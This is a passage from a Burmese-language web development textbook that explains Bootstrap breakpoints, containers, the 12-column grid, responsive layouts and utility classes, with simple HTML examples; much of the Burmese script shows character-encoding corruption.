5.4, 6.2 စသgoင့် ဒဿမကိန်းနဲ့ကြေgပာရတဲ့  Size ကြေတွမှအများကြကီးပါ။ ဒါက Screen Size ပဲ ရှိပါကြေသးတယ်။
Resolution  ကိုလည်း  ထည့်တွက်ရပါဦးမယ်။  တစ်ချ ို ့က  Screen  ကြေသးကြေပးမယ့်  Resolution  gမင့်eကပါ
တယ်။ တစ်ချ ို ့က Screen သာကြကီးတာ Resolution နိမ့်eကgပန်ပါတယ်။ ကြေထာင်ထားတာလား၊ လဲှထားတာ
လား စသgoင့် Portrait, Landscape Orientation ကလည်း ကွဲgပားဦးမှာပါ။

အ့ဲဒီကြေလာက်ထိ အရွယ်အစား စံုလင်လှတဲ့ Device ကြေတွမှာ oုန်းဆိုရင် yယ် Size goစ်တယ်၊ Tablet ဆိုရင်
yယ် Size goစ်တယ် ဆိုပြပီး တိတိကျကျ ကြေgပာလုိ့မရနိုင်ပါyူး။ ဒီကိစ္စကို Touch Screen Device ကြေတွ ကြေပါ်
ခါစက Web Designer ကြေတွ ကြေတာ်ကြေတာ်ကြေလး ကြေခါင်းစားခဲ့eကသလုိ၊ အကြေgoလည်းကြေတွ့ပြပီးeကပြပီ goစ်ပါတယ်။
ဒါကြေeကာင့် gပဿနာကို သတိgပုမိကြေအာင်သာ ကြေgပာgပတာပါ၊ ကိုယ်တိုင်ကြေခါင်းစား ကြေgoရှင်းကြေနoုိက့ြေတာ့ မဟုတ်
ပါyူး။ အများလက်ခံ အသံုးgပုတဲ့နည်းကြေတွ ရှိကြေနပြပီးgoစ်သလုိ၊ Bootstrap ကလည်း အ့ဲဒီနည်းကြေတွအတိုင်းပဲ
သွားထားပါတယ်။ Bootstrap မှ  Screen Size ကို oုန်း၊  Tablet စသgoင့်  Device အမျ ို းအစားနဲ့ မကြေgပာပါ
yူး။  Small,  Medium,  Large  ဆိုတဲ့အသုံးအနှုန်းကြေတွနဲပဲ့  ကြေgပာပါတယ်။  ဒီဇယားကွက်ကြေလးကို  ကြေလ့လာ
eကည့်ပါ။

Breakpoint Class infix Dimensions

X-Small None < 576px

Small sm  576px≥

Medium md  768px≥

Large lg  992px≥

Extra large xl  1200px≥

Extra extra large xxl  1400px≥



PWD 2023 – အခန်း (၆) – Bootstrap Layouts 142

Size အရွယ်အစား သတ်မှတ်ချက် (၆) ခုရှိပါတယ်။ 576px ရဲ့ကြေအာက် အရွယ်အစားကို X-Small လုိ့ကြေခါ်ပါ
တယ်။ oုန်းပဲgoစ်goစ်  Tablet ပဲgoစ်goစ်၊ တgခား Device ကြေတွပဲgoစ်goစ်၊  576px ကြေအာက် ကြေသးတဲ့  Screen
အားလုံးကို X-Small လုိ့ သတ်မှတ်ပြပီး အလုပ်လုပ်သွားမှာပါ။ 576px နဲ့ 768px eကားကိုကြေတာ့ Small လုိ့
ပဲသတ်မှတ်ပြပီး  768px နဲ့  992px eကားထဲက  Size  ကိုကြေတာ့  Medium  လုိသ့တ်မှတ်ပါတယ်။  ဒီနည်း
အတိုင်း ဆက်eကည့်သွားရမှာပါ။

အရွယ်အစားတစ်ခုချင်းစီအတွက် sm, md, lg စသgoင့် Size Class ကြေတွလည်း ကြေပးထားပါတယ်။ Pixel
Size  ကြေတွ  မှတ်ရခက်လုိ့  Device  အမျ ို းအစားနဲ့  မှတ်ချင်ရင်လည်း  ဒီလုိမျ ို း  အeကမ်းoျဉ်းမှတ်နိုင်ပါတယ်။
Extra Small အုပ်စုထဲမှာ oုန်းကြေတွ ပါပါတယ်။  Small (sm) အုပ်စုထဲမှာ Landscape Mode နဲ့ သုံးတဲ့oုန်း
ကြေတ၊ွ Tablet အကြေသးကြေတွ ပါနိုင်ပါတယ်။ Medium (md) အုပ်စုထဲမှာ Tablet ကြေတွနဲ့ ကြေသးတဲ့ Laptop ကြေတွ
ပါနိုင်ပါတယ်။ Large (lg) အုပ်စုထဲမှာ Landscape Mode နဲ့သုံးတဲ့  Tablet ကြေတ၊ွ iPad Pro လုိ  Screen
ကြကီးတဲ့ Tablet ကြေတွနဲ့ Laptop အများစု ပါဝင်နိုင်ပါတယ်။ Extra Large (xl) အုပ်စုထဲမှာ Resolution gမင့်
တဲ့ Laptop ကြေတွ Desktop ကြေတွ ပါနိုင်ပါတယ်။ Extra Extra Large (xxl) အုပ်စုထဲမှာကြေတာ့ 8k, 4k, HD
Screen အကြကီးကြကီးကြေတွနဲ့ ကွန်ပျူတာကြေတ၊ွ Smart TV ကြေတွyာကြေတွ ပါနိုင်ပါတယ်။

sm, md, lg, xl, xxl စတဲ့ Size Class ကြေလးကြေတွကို ကြေသချာမှတ်ထားကြေပးပါ။ Layout မှာသာမက
ကြေနရာအကြေတာ်များများမှာ Size သတ်မှတ်oုိလုိ့တိုင်း ဒီ Class ကြေတွကို သုံးပါတယ်။ 

Layout Container
အကြေgခခံအားgoင့်  ဝy်ဆိုက်တစ်ခုရဲ့  Content  အားလုံးဟာ  Container  ထဲမှာ ရှိသင့်ပါတယ်။  Container
Class  ကြေတွ  Size  ကြေပါ်မူတည်ပြပီး  အမျ ို းမျ ို းရှိကြေပမယ့်  နှစ်ခုကြေရွးပြပီး  မှတ်ထားရင်  ရပါပြပီ။  container နဲ့
container-fluid goစ်ပါတယ်။

Facebook  တို့  Twitter  တိုလုိ့ ဝy်ဆိုက်မျ ို းကြေတွကို မျက်စိထဲမှာ gမင်eကည့်ပါ။  Content  ကြေတွကို  Layout
တစ်ခုနဲ့  အလယ်မှာစုပြပီး  ကြေoာ်gပထားeကပါတယ်။  ဒီသကြေyာကို  Fixed  Width  Layout လုိ့ကြေခါ်ပါတယ်။
Gmail တို့ YouTube တိုလုိ့့ App ကြေတွကို မျက်စိထဲမှာ gမင်eကည့်ပါ။ Screen အကျယ်ရှိသကြေလာက် အgပည့်
ယူပြပီး Content ကြေတွကို ကြေoာ်gပထားeကပါတယ်။ ဒီသကြေyာကို Fluid Layout လုိ့ကြေခါ်eကပါတယ်။
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Fixed Width Layout ကြေတွ oန်တီးလုိရင် container Class ကိုသုံးနိုင်ပါတယ်။ သူက Layout ကို Width
သတ်မှတ်ပြပီး Screen ရဲ့အလယ်မှာ gပကြေပးပါတယ်။ Fluid Layout ကြေတွ oန်တီးလုိရင်ကြေတာ့ container-
fluid ကို သုံးနိုင်ပါတယ်။ သူကကြေတာ့ Screen အgပည့် ကြေနရာယူကြေပးပါတယ်။

နမူနာမှာgပထားသလုိကြေရးပြပီး  စမ်းeကည့်လုိရ့ပါတယ်။  container Class  ကြေပးထားတဲ့  Element  က
အလယ်မှာ  ကြေနရာယူကြေoာ်gပပြပီးကြေတာ့၊  container-fluid Class  ကြေပးထားတဲ့  Element  ကကြေတာ့
အgပည့်ကြေနရာယူ ကြေoာ်gပတာကို ကြေတွ့ရမှာ goစ်ပါတယ်။  CSS  ထဲမှာ  html နဲ့  body အတွက်  height:
100% ကြေပးထားတာကိုလဲ  သတိgပုပါ။  အ့ဲဒီလုိကြေပးထားမှ  Container  ကြေတွမှာသတ်မှတ်ထားတဲ့  h-50
(height: 50%) က အလုပ်လုပ်မှာ မုိလုိ့့ပါ။

Grid System
Bootstrap က Layout ကြေတွoန်တီးoုိအ့တွက် 12 Columns Grid ကြေခါ် အပုိင်း (၁၂) ပုိင်းကို အကြေgခခံတဲ့ စနစ်
ကို သုံးပါတယ်။ ဒီလုိပံုစံပါ။

1 1 1 1 1 1 1 1 1 1 1 1

12

2 4 6
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Column  တစ်ခုက  Row  တစ်ခုလံုးအgပည့်  ကြေနရာယူချင်ရင်  (၁၂)  ပုိင်းလုံးကို  ယူလုိက်လုိရ့ပါတယ်။
တစ်ဝက်ပဲလုိချင်ရင် (၆) ပုိင်းယူလုိရ့ပါတယ်။ ဒီသကြေyာနဲ့  (၁၂) ပုိင်းရှိတဲ့ထဲက ကိုယ်လုိသကြေလာက် ပုိင်းယူ
လုိရ့တဲ့စနစ်မျ ို းပါ။

yာကြေeကာင့် (၁၂) ပုိင်းကိုသုံးသလဲဆိုကြေတာ့၊ စဉ်းစားeကည့်ပါ။ (  ၁၂  )   ကို ၂  ,   ၃  ,   ၄  ,   ၆ အားလုံးနဲ့ စားလုိ့gပတ်တဲ့  
အတွက်   (  ၂  )   ပုိင်း   (  ၃  )   ပုိင်း   (  ၄  )   ပုိင်း စသည်goင့် အညီခွဲယူလုိရ့နိုင်ပါတယ်  ။ ဒီလုိပါ –

12

6 6

4 4 4

3 3 3 3

ဒါကြေeကာင့်  Layout  ကြေတွကို စီစီညီညီနဲ့  သပ်သပ်ရပ်ရပ် ရရှိမှာgoစ်ပါတယ်။ ဒါမျ ို းကြေတွက အကြေeကာင်းမဲ့  goစ်
ကြေပါ်လာတာမျ ို း မဟုတ်yဲ လက်ကြေတွ့ အကြေတွ့အကြကံုကြေတွကြေပါ်မှာ အကြေgခခံgoစ်ကြေပါ်လာတဲ့ ကိစ္စမျ ို းကြေတွပါ။ 

Bootstrap  ရဲ့  Grid System  ကို  အသုံးgပုoုိအ့တွက်  row နဲ့  col ဆိုတဲ့  Class  ကြေတွကို  သုံးနိုင်ပါတယ်။
အထက်မှာ ကြေoာ်gပထားတဲ့ Grid ပုံစံရoုိဆ့ိုရင် Bootstrap နဲ ့ဒီလုိကြေရးကြေပးရမှာပါ။

 HTML 

<div class="row">
    <div class="col-12"></div>
</div>
<div class="row">
    <div class="col-6"></div>
    <div class="col-6"></div>
</div>
<div class="row">
    <div class="col-4"></div>
    <div class="col-4"></div>
    <div class="col-4"></div>
</div>

သိသင့်တဲ့ သကြေyာသyာဝကြေတွကိုသာ သိထားမယ်ဆိုရင် ကြေရးနည်းက မခက်ပါyူး။ row ထဲမှာ col ကြေတွ
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ရှိပြပီး ပုိင်းပြပီးကြေတာ့လုိချင်တဲ့ အကြေရအတွက်ကို col ရဲ့ကြေနာက်မှာ တွဲထည့်ကြေပးရတာပါ။ အကြေရအတွက် ထည့်
မကြေပးရင်လည်း  ရပါတယ်၊  တစ်ခုရှိရင်တစ်ခု၊  နှစ်ခုရှိရင်နှစ်ခု၊  ရှိသကြေလာက်  ရွယ်တူ  အညီယူကြေပးမှာgoစ်ပါ
တယ်။ ဒါကြေeကာင့် အကြေပါ်ကကုဒ်ကို ဒီလုိကြေရးရင်လည်း ရလဒ်အတူတူပါပဲ။

 HTML 

<div class="row">
    <div class="col"></div>
</div>
<div class="row">
    <div class="col"></div>
    <div class="col"></div>
</div>
<div class="row">
    <div class="col"></div>
    <div class="col"></div>
    <div class="col"></div>
</div>

အကြေပါ်ဆံုး  row မှာ col တစ်ခုထဲရှိလုိ့ တစ်ခုထဲ အgပည့်ယူလုိက်မှာပါ။ ဒုတိယ row မှာ နှစ်ခုရှိလုိ့ နှစ်ခု
အညီ တစ်ဝက်စီယူကြေပးလုိက်မှာပါ။ လက်ကြေတွ့ကြေရးသား စမ်းသပ်လုိရင်လည်း ဒီလုိကြေလးစမ်းeကည့်ပါ။

CSS ထဲမှာ height ကြေတွ border ကြေတွကို gမင်သာကြေအာင် ထည့်ကြေပးထားတာကို သတိgပုပါ။ Layout ရဲ့
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ကြေနရာယူပုံကကြေတာ့  ကိုယ်ကြေရးကြေပးစရာ  မလုိကြေတာ့ပါyူး။  row ကြေတွ  col ကြေတွ  ကြေပးလုိက်ယုံနဲ့  လုိချင်တဲ့
ရလဒ်ကို ရရှိမှာ goစ်ပါတယ်။ Column ကြေတွကို အညီမယူyဲ ကိုယ်လုိသကြေလာက် ယူပြပီးစမ်းeကည့်ချင်ရင် ဒီ
လုိကြေလး စမ်းလုိက်ပါ။

ဒီတစ်ခါကြေတာ့  col-3, col-6 စသgoင့် ကိုယ်လုိသကြေလာက် ပုိင်းယူလုိက်လုိ့  အလယ်က  Column  ကို
ခပ်ကြကီးကြကီးကြေနရာယူပြပီး  ကြေyးတစ်yက်တစ်ချက်က  Column  ကြေတွကို  ခပ်ကြေသးကြေသး  ကြေနရာယူကြေပးတာကို
ကြေတွ့ ရမှာပဲ goစ်ပါတယ်။

Responsive Layouts
Responsive Layout  ကြေတွ ရရှိoုိအ့တွက်ကြေတာ့ အကြေပါ်နားမှာ ကြေgပာခဲ့တဲ့  Size Class  ကြေတွကို တဲွသံုးကြေပးရပါ
တယ်။ ဥပမာ - ဒီကုဒ်ကြေလးကို ကြေလ့လာeကည့်ပါ။

 HTML 

<div class="row">
    <div class="col-12 col-md-4 col-lg-3"></div>
    <div class="col-12 col-md-8 col-lg-6"></div>
    <div class="col-12 col-md-12 col-lg-3"></div>
</div>
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ဒီကုဒ်ရဲ့အဓိပ္ပါယ်က၊ Column (၃) ခုလုံးအတွက် col-12 လုိ့ ကြေပးထားတဲ့အတွက် အgပည့်ကြေနရာယူမှာgoစ်
ပါတယ်။ ဒါကြေeကာင့် Default အကြေနနဲ့ အကြေပါ်ကြေအာက်ဆင့်ပြပီးကြေတာ့ပဲ ကြေoာ်gပမှာပါ။ အကယ်၍ Medium Size
(Tablet)  goစ်ခဲ့မယ်ဆိုရင်ကြေတာ့ col-md-{x} ကိုသုံးပြပီး  4-8-12 လုိ့  Column Layout  ကို သတ်မှတ်
ကြေပးထားပါတယ်။  ဒါကြေeကာင့်  Column  နှစ်ခုပါတဲ့  2  Columns  Layout  အgoစ်ကို  ကြေgပာင်းသွားမှာ  goစ်ပါ
တယ်။ Large Size (ကွန်ပျူတာ) goစ်ခဲ့မယ်ဆိုရင်ကြေတာ့ col-lg-{x} ကိုသုံးပြပီး 3-6-3 လုိ့ သတ်မှတ်
ထားတဲ့အတွက်  Column  သုံးခုပါတဲ့  3 Columns Layout  goစ်သွားမှာပဲ goစ်ပါတယ်။ လက်ကြေတွ့ ကြေရးပြပီး
စမ်းeကည့်နိုင်ပါတယ်။

အခုနမူနာရလဒ်မှာ ကြေoာ်gပစရာ ကြေနရာကျယ်တဲ့အတွက် lg Size သက်ဝင်ကြေနလုိ့ 3 Columns Layout တစ်
ခုကို  ရရှိကြေနgခင်း  goစ်ပါတယ်။  3-6-3 ပုံစံကြေနရာယူထားပါတယ်။ ဒီကုဒ်ကိုပဲ  နည်းနည်းကြေနရာချံု့ပြပီး  စမ်း
eကည့်လုိက်ရင်ကြေတာ့ အခုလုိပုံစံgoစ်သွားမှာပါ။
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ဒီရလဒ်မှာကြေတာ့  ကြေနရာ  ကျဉ်းသွားပြပီgoစ်လုိ့  md Size  သက်ဝင်ပြပီး  2  Columns  Layouts  တစ်ခုအကြေနနဲ့
အလုပ်လုပ်ကြေနတာကို ကြေတွ့gမင်ရgခင်းပဲgoစ်ပါတယ်။ ဒီထက်ထပ်ချံု့လုိက်ရင်ကြေတာ့ အခုလုိကြေတွ့ရမှာပါ။

ဒီရလဒ်မှာ  ကြေနရာကြေတာ်ကြေတာ်ကြေလး  ကျဉ်းသွားပြပီမုိလုိ့့  md ကြေတွ  lg ကြေတွ  အလုပ်မလုပ်ကြေတာ့yဲ  Default
အတိုင်း အgပည့်ကြေတွ ကြေနရာယူထားတဲ့အတွက် Single Column Layout တစ်ခုကို ရရှိgခင်းပဲgoစ်ပါတယ်။ 



PWD 2023 – အခန်း (၆) – Bootstrap Layouts 149

ဒီနည်းနဲ့ Bootstrap ကိုအသုံးgပုပြပီး Responsive Layouts ကြေတွoန်တီးနိုင်မှာ goစ်ပါတယ်။ အကြေတွ့ရများတဲ့
ဝy်ဆိုက် Layout ကြေလးတစ်ခုကို နမူနာအကြေနနဲ ့ထပ်ကြေပးချင်ပါတယ်။ ကြေရးရမယ့်ကုဒ်က ဒီလုိပါ –

 HTML 

<main class="bg-secondary py-5">

  <div class="container bg-light">
    <div class="bg-light" style="height: 400px"></div>
  </div>

</main>

<section class="container py-5">
  <div class="row g-5">

    <div class="col-12 col-md-6 col-lg-3">
      <div class="bg-secondary" style="height: 200px"></div>
    </div>

    <div class="col-12 col-md-6 col-lg-3">
      <div class="bg-secondary" style="height: 200px"></div>
    </div>

    <div class="col-12 col-md-6 col-lg-3">
      <div class="bg-secondary" style="height: 200px"></div>
    </div>

    <div class="col-12 col-md-6 col-lg-3">
      <div class="bg-secondary" style="height: 200px"></div>
    </div>

  </div>
</section>

<footer class="container">

  <div class="border-top border-top-2 py-5 text-center text-muted">
    &copy; Copyright 2020
  </div>

</footer>

တစ်ချ ို ့သတိgပုသင့်တဲ့ လုပ်ကြေဆာင်ချက်ကြေတွအကြေeကာင်း ကြေgပာgပပါမယ်။  py-5 ဆိုတဲ့  Class  က Padding
Top/Bottom  အတွက်ပါ။  Padding  Left/Right  အတွက်လုိချင်ရင်ကြေတာ့  px- ကိုသုံးနိုင်ပါတယ်။  g-5
Class မှာပါတဲ့ g ရဲ့ အဓိပ္ပါယ်က Gutter goစ်ပါတယ်။ Column တစ်ခုနဲတ့စ်ခုeကား အကွာအကြေဝးပါ။   5 က
အgမင့်ဆံုးgoစ်ပြပီး 1, 2, 3, 4 တန်oုိးကြေတွ ကြေgပာင်းစမ်းeကည့်နိုင်ပါတယ်။ border Class ကြေတွကကြေတာ့ အထူး



PWD 2023 – အခန်း (၆) – Bootstrap Layouts 150

ကြေgပာစရာ မလုိပါyူး။  Class  အမည်မှာ အဓိပ္ပါယ်ကြေပါ်ကြေနပါပြပီ။  text-muted ကကြေတာ့ စာကြေတွကို  နည်း
နည်းမိှန်ပြပီး  gပကြေစoုိ့  goစ်ပါတယ်။  ဒီလုိအသံုးဝင်တဲ့  Utility  Class  ကြေတွအကြေeကာင်းကို  ကြေနာက်တစ်ခန်းမှာ
သီးgခားထပ်ကြေလ့လာeကပါဦးမယ်။

ကျန်တဲ့ လုပ်ကြေဆာင်ချက်ကြေတွအကြေeကာင်းကိုကြေတာ့ ကြေရးထားတဲ့ကုဒ်ကို ကြေသချာoတ်ပြပီးကြေတာ့ပဲ ကြေလ့လာeကည့်
လုိက်ပါ။ စမ်းeကည့်လုိက်ရင် ရမယ့်ရလဒ်ကကြေတာ့ အခုလုိgoစ်မှာပါ။

ဒါဟာ အကြေတွ့ရများတဲ့ ဝy်ဆိုက် Layout ပုံစံတစ်ခုပါပဲ။ Responsive Layout Class ကြေတွလည်း တစ်ခါထဲ
ထည့်ကြေရးပြပီးသားမုိလုိ့့  Screen  ကို  ချံု့ချဲပြပီး  အမျ ို းမျ ို းစမ်းeကည့်နိုင်ပါတယ်။  Layout  က သင့်ကြေတာ်ကြေအာင်
အလုိအကြေလျှာက် ကြေgပာင်းပြပီး gပကြေပးတယ်ဆိုတာကို ကြေတွ့ရမှာပဲ goစ်ပါတယ်။

ဒီ  Layout  ထဲမှာ  Carousel  ကြေတွ  Navbar  ကြေတွ  Card  ကြေတွ  သူ့ကြေနရာနဲသူ့  အစားထုိး  ထည့်ကြေပးလုိက်ရင်
လက်ကြေတွ့  အသုံးချ  ဝy်ဆိုက်  Template  တစ်ခု  goစ်သွားနိုင်ပါတယ်။  စမ်းသပ်  ထည့်သွင်း  eကည့်oုိ့
တိုကတ်ွန်းပါတယ်။
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အခန်း (၇) – Bootstrap Utility Classes

Bootstrap  ကကြေပးထားတဲ့  Components  ကြေတွ  Layouts  လုပ်ကြေဆာင်ချက်ကြေတွဟာ အကြေတာ်လုံးgပည့်စံုကြေပ
မယ့် လက်ကြေတွ့မှာ ကိုယ့်လုိအပ်ချက်နဲ့ ကိုက်ညီကြေအာင် goည့်စွက်ရတာကြေတွ၊ gပင်ဆင်ရတာကြေတွ ရှိပါတယ်။
အ့ဲဒီလုိ goည့်စွက်gပင်ဆင်ရတာကြေတွ လုပ်တဲ့အခါ  CSS  ကြေတွအပြမဲတမ်း ကြေရးစရာမလုိပါyူး။ လုိအပ်ကြေလ့ရှိတဲ့
လုပ်ကြေဆာင်ချက်ကြေတွအတွက် Bootstrap က ကြကိုကြေရးကြေပးထားတဲ့ Utility Classes ကြေတွ ရှိeကပါတယ်။ အ့ဲဒီ
Class ကြေတွအကြေeကာင်းကို စုစည်းပြပီးကြေတာ့ ကြေoာ်gပချင်ပါတယ်။

Borders
Border  Utility  Classes  တစ်ချ ို ့ကို  ကြေရှ့ပုိင်းနမူနာကြေတွမှာလည်း  သံုးgoစ်ခဲ့ပါတယ်။  Element  ကြေတွ
Component  ကြေတွမှာ  Border  ထည့်သွင်းoုိလုိ့ရင်  Bootstrap  ရဲ့  border Class  ကိုသုံးနိုင်ပါတယ်။
border-top, border-left စသgoင့်  တစ်yက်ချင်းစီလည်း  ထည့်သွင်းလုိရ့ပါတယ်။  Card  တို့
List  Group  တိုလုိ့  Border  ရှိပြပီးသား  Component  ကြေတွအတွက်  Border  ရဲ့  အကြေရာင်ကိုကြေgပာင်းချင်ရင်
ကြေတာ့ border-{color} Classes ကြေတွကို သုံးနိုင်ပါတယ်။

 HTML 

<p class="border border-primary">
  Some Content
</p>

ကြေပးထားတဲ့နမူနာက <p> Element မှာ Border ထည့်လုိက်ပြပီး အ့ဲဒီ Border ရဲ့အကြေရာင်ကို primary လုိ့
သတ်မှတ်ကြေပးလုိက်တာပါ။  ဒီနည်းနဲ့  မည်သည့်  Element  မှာမဆို  Border  ကြေတွ  ထည့်သွင်းနိုင်ပါတယ်။
Border ရဲ့ Size ကြေတွ Radius ကြေတွလည်း သတ်မှတ်လုိရ့ပါကြေသးတယ်။ ဒီလုိပါ –
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 HTML 

<p class="border
          border-2
          border-primary
          rounded
          p-2">Some Content</p>

border-2 နဲ ့Size ကို သတ်မှတ်ကြေပးထားပါတယ်။ 2 အစား 5 ထိကြေပးလုိရ့ပါတယ်။ rounded နဲ့ Border
Radius  ထည့်ထားပါတယ်။  rounded-circle နဲ့  rounded-pill လည်းရှိပါကြေသးတယ်။ yာကွာ
လဲ သိရoုိအ့တွက်  ကိုယ်တိုင်သာကြေရးထည့်ပြပီး  စမ်းeကည့်လုိက်ပါ။  Border  ပါကြေနပြပီး  မလုိချင်လုိ့  gပန်goုတ်
ချင်ရင်လည်း border-0 နဲ့ gပန်goုတ်နိုင်ပါတယ်။ border-top-0, border-left-0 စသည်goင့်
လည်း ရှိပါကြေသးတယ်။ တစ်ခုချင်းလုိက်မှတ်ကြေနရင် မှတ်စရာကြေတွ များပါတယ်။ လက်ကြေတွ့စမ်းeကည့်လုိက်
လုိ့ သကြေyာသyာဝ သိသွားရင် ပုိမှတ်လုိ့ကြေကာင်းပါတယ်။

Color
Color Classes ကြေတွကိုလည်း ကြေရှ့ပုိင်းနမူနာကြေတွမှာ သံုးခဲ့eကပြပီးgoစ်ပါတယ်။ အထူးသgoင့် background
နဲ့  text အတွက် အကြေရာင်ကြေတွသတ်မှတ်လုိရင် သံုးရတာပါ။  text-primary, text-success,
bg-info,  bg-warning စသgoင့်  လုိအပ်တဲ့  ကြေနရာတိုင်းမှာ  သတ်မှတ်နိုင်ပါတယ်။  ကျန်ကြေနတဲ့
အသုံးဝင်တာကြေလးတစ်ချ ို ့ ထည့်ကြေgပာချင်ပါတယ်။

• text-muted
• text-black-50
• text-white-50
• bg-white
• bg-transparent

text-muted ကိုကြေတာ့ ပြပီးခဲ့တဲ့ နမူနာတစ်ခုမှာ ထည့်သံုးကြေပးခဲ့ပါတယ်။ စာကို နည်းနည်း မိှန်ပြပီးgပမှာပါ။
text-black-50 နဲ့  text-white-50 ကလည်း အလားတူပဲ၊ နည်းနည်းစီ အကြေရာင်မိှန်ထားကြေပးတဲ့
စာကြေတွကို လုိချင်တဲ့အခါ သံုးနိုင်ပါတယ်။ bg-transparent ကိုကြေတာ့ မူလက Background အကြေရာင်
ပါကြေနတဲ့ Component တစ်ခုမှာ Background အကြေရာင် gပန်goုတ်ချင်တဲ့အခါ သံုးနိုင်ပါတယ်။
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ထူးgခားချက်အကြေနနဲ ့bg-gradient ဆိုတာလည်း ရိှပါကြေသးတယ်။ ဒီလုိကြေလးစမ်းeကည့်လုိက်ပါ –

 HTML 

<p class="bg-danger
          text-white
          bg-gradient
          p-2">Some Content</p>

Background အကြေရာင်ကို ပုံကြေသတစ်ကြေရာင်ထဲ မဟုတy်ဲ Gradient ပုံစံ ကြေရာင်ကြေgပးကြေလးနဲ ့gပကြေပးမှာပါ။ 

Display
Element ကြေတွရဲ့  Display Type ကို  d- နဲစ့တဲ့  Class နဲ့ကြေgပာင်းနိုင်ပါတယ်။ d-block, d-inline,
d-none စသည်goင့်ပါ။ ဒီကြေနရာမှာ ပုိအကြေရးကြကီးတာက  Responsive Size  ကြေတွgoစ်ပါတယ်။ အလယ်မှာ
Responsive Size Class ကြေတွထည့်ပြပီး Screen Size အလုိက် Display Type ကိုကြေgပာင်းနိုင်ပါတယ်။ ဒီလုိပါ 

 HTML 

<p class="d-none d-md-block">Some Content</p>

d-none လုိ့ကြေgပာထားတဲ့အတွက်  Default  မှာ  ကြေပျာက်ကြေနပါလိမ့်မယ်။  ဒါကြေပမယ့်  d-md-block လုိ့
ကြေgပာထားတဲ့အတွက်  Medium  Device  ကြေတွမှာ  ကြေပါ်လာမှာgoစ်ပါတယ်။  ဒါကြေeကာင့်  Screen  ကြေသးရင်
ကြေပျာက်သွားပြပီး Screen ကြကီးမှ ကြေပါ်လာတဲ့ လုပ်ကြေဆာင်ချက်ကို ရရှိမှာ goစ်ပါတယ်။ md အစား sm, lg,
xl, xxl စသgoင့် တgခား Size Class ကြေတွကို လုိအပ်သလုိ အသုံးgပုနိုင်ပါတယ်။

ကြေတာ်ကြေတာ် အသုံးဝင်တဲ့  လုပ်ကြေဆာင်ချက်ပါ။  Responsive Web Design  ကြေတွလုပ်တဲ့အခါ  Screen Size
ကြေပါ်မူတည်ပြပီး  Element ကြေတွကို gပသင့်အချနိ်မှgပတယ်၊ မgပသင့်ရင် ကြေoျာက်ထားတယ်ဆိုတာဟာ လုိအပ်
တဲ့ လုပ်ကြေဆာင်ချက်တစ်ခု goစ်ပါတယ်။
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Flexbox
CSS Flexbox  အကြေeကာင်းကို  လုိရင်းကြေလးကြေတွ ကြေရွးထုတ်ကြေgပာကြေနလုိ့သာပါ၊  တစ်ကယ်ကြေတာ့ အကြေတာ်ကြေလး
ကျယ်gပန်တဲ့  အကြေeကာင်းအရာ တစ်ခု  goစ်ပါတယ်။ အခုလည်း  Bootstrap  က ကြေပးထားတဲ့  အကြေရးကြကီးတဲ့
လုပ်ကြေဆာင်ချက်ကြေလးတစ်ချ ို ့ကို ကြေရွးထုတ်ကြေပးချင်ပါတယ်။

Element  တစ်ခုကို  Flexbox  goစ်ကြေစချင်ရင်  d-flex Class  ကိုသုံးနိုင်ပါတယ်။  အ့ဲဒီ  Flexbox  ထဲက
Element ကြေတွကို စီမံoုိအ့တွက် Flex Utility Class ကြေပါင်း (၆၀) ကြေကျာ်ထိ ရှိကြေနပါတယ်။ အကုန်သာမှတ်ရ
ရင် မလွယ်ပါyူး။ (၃) ခုပဲ ကြေရွးမှတ်ကြေစချင်ပါတယ်။

• flex-row
• flex-column
• flex-fill

flex-row က Element ကြေတွကို ကြေyးတိုက်စီပြပီး ညီကြေအာင်gပကြေပးတဲ့ လုပ်ကြေဆာင်ချက်ပါ။ Default Value goစ်
ပါတယ်။ ပံုမှန်အားgoင့် ကိုယ့်yာသာ ကြေပးစရာမလုိပါyူး။  flex-column ကကြေတာ့ အကြေပါ်ကြေအာက်စီgပ
ကြေပးမှာပါ။ အ့ဲဒီနှစ်ခုကို Responsive Size Class ကြေတွနဲ့ တွဲသုံးရင် အသုံးဝင်ပါတယ်။ ဒီလုိပါ –

 HTML 

<div class="d-flex flex-column flex-md-row">
  <div class="bg-primary p-5"></div>
  <div class="bg-danger p-5 flex-fill"></div>
  <div class="bg-success p-5"></div>
</div>

နမူနာအရ  flex-column လုိ့ကြေပးထားတဲ့အတွက်  Default  အကြေနနဲ့  အကြေပါ်ကြေအာက်စီပြပီး  gပမှာပါ။  ပြပီး
ကြေတာ့မှ flex-md-row လုိ့ကြေgပာထားတဲ့အတွက် Medium Device Size goစ်လာတဲ့အခါ ကြေyးတိုက်စီပြပီး
ကြေတာ့ gပမှာပါ။ ဒါကြေeကာင့်  Screen Size  ကြေgပာင်းရင်  Layout  လုိက်ကြေgပာင်းတဲ့ လုပ်ကြေဆာင်ချက်ကို ရသွားပါ
တယ်။ ထံုးစံအတိုင်း  md အစား  တgခား  Size Class  ကြေတွကို  လုိအပ်သလုိ အစားထုိးပြပီး  သုံးနိုင်ပါတယ်။
flex-fill ကကြေတာ့  "ကြေyးတိုက်"  ကြေနရာလွတ်ကျန်သကြေလာက်  အကုန်အgပည့်  ကြေနရာယူကြေစချင်တဲ့
Element  ကြေတွမှာ  သတ်မှတ်ကြေပးနိုင်ပါတယ်။  ဒါကြေeကာင့်  ကျန်တဲ့  Element  ကြေတွကို  ရှိသကြေလာက်ပဲgပပြပီး
flex-fill ပါတဲ့ Element ကို အgပည့်ကြေနရာယူ gပကြေပးမှာပါ။
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Float
Float  CSS  Property  ဟာ  ကြေတာ်ကြေတာ်ကြေလးအကြေရးကြကီးတဲ့  Property  goစ်ခဲ့ပါတယ်။  အရင်က  Flexbox
လုပ်ကြေဆာင်ချက် CSS မှာမရှိလုိ့ Float Property ကြေတွကိုသုံးပြပီး Layout ကြေတွကို oန်တီးခဲ့eကရပါတယ်။ အခု
ကြေတာ့  Layout  အတွက်  Float  ကို  အားကိုးoုိ့  မလုိအပ်ကြေတာ့ပါyူး။  ဒါကြေပမယ့်  Float  လုပ်ကြေဆာင်ချက်
အသုံးဝင်တဲ့ကြေနရာကြေတွ ရှိပါကြေသးတယ်။ တစ်ချ ို ့  Element  ကြေတွ yယ်yက်ကပ်ပြပီး gပကြေစချင်ရင်  float-
start ကိုသုံးနိုင်ပါတယ်။ ညာyက်ကပ်ပြပီး gပကြေစချင်ရင် float-end ကို သံုးနိုင်ပါတယ်။ သူ့ကိုလည်း
